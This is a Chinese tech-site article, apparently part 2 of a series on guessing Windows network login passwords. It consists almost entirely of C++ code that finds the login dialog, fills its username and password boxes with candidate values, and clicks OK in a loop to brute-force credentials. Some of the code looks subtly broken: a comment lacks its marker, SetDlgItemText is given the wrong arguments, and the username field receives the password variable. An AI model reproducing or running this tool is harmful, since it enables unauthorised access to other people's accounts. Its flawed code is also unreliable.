扫一扫
关注微信公众号

Windows网络用户登录密码的猜解2
2007-08-15   中国IT实验室

3.窗口及子窗口枚举

  UINT ThreadProc(LPVOID *pPraram)

  {

  while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;}

  return 0;

  }

  BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)

  {

  char lpWinTitle[MAX_LINELENGTH];

  ::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1);

  if(strcmp(lpWinTitle,sTitle)==0)// sTitle:网络登录窗口的窗口名

  { gMutex.Lock(INFINITE);//防止两个线程同时操作

  while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL));

  gMutex.Unlock();

  return FALSE;

  }

  return TRUE;

  }

  BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)

  {

  char sChildName[MAX_LINELENGTH];

  ::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);

  file://处理编辑控件,登录窗口中一般只有两个编辑框,可用MicroSoft Spy++查看窗口的

  file://各个子窗口

  // 的属性。通过对比各控件的风格或名字来区别各控件。

  if(strcmp(sChildName,"Edit")==0)

  {

  DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE);

  if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件

  {

  gEventNextPass.SetEvent();//发送“新密码”事件

  WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密码完成”事件

  gEventPassOk.ResetEvent(); file://复位

  ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);

  file://把新密码填到密码输入框,也可用SetWindowText()

  bPass=TRUE;//记录密码已填入

  if(bUser&&(hOk!=NULL))//如果用户名已填入,“确定”按钮已找到。

  {

  ::SendMessage(::GetParent(hOk),WM_COMMAND,

  (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));

  file://向“确定”按钮送消息,参照ClassWizard的消息映射

  bUser=FALSE;bPass=FALSE;hOk=NULL;

  file://完成一次登录,初始化

  return FALSE;

  }

  return TRUE;

  }

  file://非此即彼,这是用户名输入编辑控件

  if((dWinSty&ES_READONLY)!=ES_READONLY)

  {

  ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);

  file://把新用户名填到用户名输入框,也可用SetWindowText()

  bUser=TRUE;// 新用户名已填入用户名输入框

  if(bPass&&(hOk!=NULL)) 如果密码已填入,“确定”按钮已找到。

  {

  ::SendMessage(::GetParent(hOk),WM_COMMAND,

  (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));

  file://向“确定”按钮送消息,参照ClassWizard的消息映射

  bUser=FALSE;bPass=FALSE;hOk=NULL;

  file://完成一次登录,初始化

  return FALSE;

  }

  }

  return TRUE;

  }

  file://如果是按钮控件

  if(strcmp(sChildName,"Button")==0)

  {

  char sChildTitle[MAX_LINELENGTH];

  ::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1);

  if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE;

  // sButtonOk:登录窗口中“OK”按钮的标题

  hOk=hwnd;//记录“OK”窗口句柄

  if(bUser&&bPass)

  {

  ::SendMessage(::GetParent(hOk),WM_COMMAND,

  (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));

  file://向“确定”按钮送消息,参照ClassWizard的消息映射

  bUser=FALSE;bPass=FALSE;hOk=NULL;

  file://完成一次登录,初始化

  return FALSE;

  }

  return TRUE;

  }

  return TRUE;

  }

热词搜索:

上一篇:Windows网络用户登录密码的猜解1
下一篇:Windows网络用户登录密码的猜解3

分享到: 收藏